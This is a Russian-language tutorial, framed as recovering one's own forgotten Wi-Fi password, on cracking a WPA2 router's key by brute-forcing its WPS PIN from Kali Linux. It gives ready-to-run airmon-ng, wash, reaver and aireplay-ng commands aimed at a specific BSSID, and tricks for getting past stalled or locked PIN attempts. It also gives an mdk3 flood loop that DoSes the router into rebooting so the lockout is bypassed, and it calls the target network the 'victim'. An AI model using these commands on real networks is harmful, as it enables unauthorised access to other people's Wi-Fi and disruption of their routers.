Часть 1
Как забыл? Да вот так, взял и забыл! И систему переставил, не посмотришь в свойствах сетевого соединения. Сразу сыпятся советы зайти на роутер через кабель по вебморде, там всегда дефолтные пароли или вообще нажать на кнопку Reset и начать жизнь с чистого листа, но ведь так не интересно и слишком все просто. Представим, что физического доступа к роутеру нет.
В этом случае я использую ось Live USB Kali Linux на флешке на 4 Гб. Образ всего 2,9 Гб из-под Windows пишем при помощи Win32 Disk Imager, а из-под Linux ещё проще:
dd if=kali.iso of=/dev/sdb bs=512k
Другие предпочитают устаревший Backtrack, Wifislax или другие системы, мне больше нравится эта.
Загрузился с флешки, чтобы увидеть свою точку сначала переведем адаптер ноута в режим монитора:
airmon-ng start wlan0 затем: airodump-ng mon0
появятся доступные беспроводные сети, находим свою, например в четвертой строчке TP-LINK_F8253A:
слева направо: BSSID или мак адрес точки, уровень сигнала, beacons пакеты, data пакеты, скорость приёма сетевых пакетов, канал, скорость точки в мегабитах, тип аутентификации (WPA2), тип шифрования (PSK) и последнее название сети или ESSID.
Дырявые WEP сети стали большой редкостью, поэтому о них речь вести не будем. Идём далее, остановим сканирование эфира Ctrl+C. Если защита сети осуществлялась способом «для ленивых», т.е. при помощи протокола WPS нажатием одноименной кнопки на роутере и введении PIN кода в утилите настройки сети (или кнопкой на внешнем адаптере), то успех восстановить пароль составит 90%. Кстати, многие даже не задумываются, что WPS шифрование часто включено в некоторых роутерах по умолчанию, даже если вы вручную вводили пароль через вебинтерфейс.
Наличие WPS проверяется командой:
wash –i mon0 –C
Если в столбике WPS Locked напротив нашей сети отмечено NO, значит WPS не блокируется, останавливаем процесс Ctrl+C и можно двигаться дальше.
Уже ни для кого ни секрет, что принцип восстановления пароля лежит в прямом подборе пин кода сначала первой половины цифр (обычно 4), затем последующих трех, а последняя из анализа контрольной суммы предыдущих. Для решения этой задачи используем программу reaver.
Набираем:
reaver –i mon0 –b 64:70:02:F8:25:3A –c 6 –vv –dh-small
где –i наш сетевой интерфейс, -b мак адрес точки, -с канал, -vv подробный вывод информации работы программы на экран, –dh-small если стандартный пин не изменялся, быстрее идет перебор. Если PIN известный, достаточно просто набрать:
reaver –i mon0 –b 64:70:02:F8:25:3A –p 12345670
и… через 10 секунд пароль в кармане.
Это если известно, а если нет, то набираем предыдущую команду, произойдет ассоциация с точкой доступа и должно появится примерно следующее:
И примерно через 6+ часов получим пароль.
Да, бывает не всё так гладко.
1) Точка доступа напрочь отказывается с нами ассоциироваться, нашёл выход на одном ресурсе в
интернете. Причина лежит в том, что программа reaver местами использует низкоуровневые вычисления, а первоначально она составлялась для ПК с процессорами х86-64, использующими порядок байтов типа “Little-endian” (LE, от меньшего к большему). В то же время на многих распространенных роутерах используется представление байт “Big-endian” (BE, от большего к меньшему).
Нам поможет ручная аутентификация на точке доступа при помощи утилиты aireplay-ng, в отличие от reaver данная утилита не умеет самостоятельно выставлять требуемый Wi-Fi канал, поэтому его необходимо задать вручную:
iwconfig mon0 channel 6
aireplay-ng -1 5 -a 64:70:02:F8:25:3A mon0
Когда ассоциация прошла успешно прерываем нажатием Ctrl+C и перезапускаем в фоновом режиме:
aireplay-ng -1 5 -a 64:70:02:F8:25:3A mon0 > /dev/null &
Затем при запуске reaver добавляем ключ -A:
reaver –i mon0 –b 64:70:02:F8:25:3A –c 6 –vv –dh-small –A
2) Дойдя до определенного значения подбираемого pin-кода, не приходит никаких ответов на все наши запросы. Особенно обидно, когда сделано более половины дела и всё стопорится. Выход из проблемы описан
здесь. Сохраняем сессию нажав Ctrl+C. Из папки /etc/reaver сохраним два файла с расширением db и wpc на жесткий диск. Смысл состоит в том, чтобы отредактировать данные файлы и обойти значение пин-кода на котором случается затыкание. Файл wpc можно изменять при помощи любого текстового редактора в первой строке первые четыре цифры, а бинарный файл bd программой sqlite из-под Windows, в Xubuntu я использовал sqlitestudio, изменив таблицу history аналогичным значением из файла wpc. После чего, загружаем эти файлы в родную папку и продолжаем подбор reaverом.
3) Блокирование точки после перебора 10+ пинов на неограниченное время. Современные роутеры со свежими прошивками не хотят так легко отдавать пароль. Интересное решение нашел на форуме
античат. Дальнейший перебор возможен только после перезагрузки точки доступа. А если вы не забыли, то помните, что физического доступа к ней нет, как же перезагрузить?
Начинаем DOSить наш роутер, подключая к нему побольше пользователей, автоматизируя процесс:
while true; do timeout -s SIGINT 60s reaver -i mon0 -b 64:70:02:F8:25:3A -vv -N -s /etc/reaver/64:70:02:F8:25:3A.wpc -L; sleep 3; timeout 15s mdk3 mon0 a -a 64:70:02:F8:25:3A -s 200 -m; sleep 10; done;
конечно работа замедляется, но рано или поздно пароль будет найден. Исключение составляют роутеры с DOS защитой, сколько на него не вешай – он грузится не хочет, а только блокируется, пока не выдернешь из розетки.
4) Очень редко, даже при успешном переборе reaver может показать такую картинку:
[+] WPS PIN: '02325385'
[+] WPA PSK: '3B078AA91FA21420B19E10844294B2D16334B0534A1891870 C723B235268F7BD'
[+] AP SSID: 'Network-90f6528ac69e'
Предполагая, что в работе программы произошёл сбой, так как название сети (SSID) не соответствует жертве, да и пароль вряд ли был бы такой, я перезапускал reaver раза три, но результат становился ещё хуже – название сети и пароль постоянно менялись, а пин-код оставался стабильным значением. Решение нашел также на форуме
античат. Единственное решение – это подключиться из-под Windows через родную утилиту сетевого адаптера, используя только пин, одно есть но: слетит название сети на вышеупомянутую Network-90f6528ac69e и длинный пароль.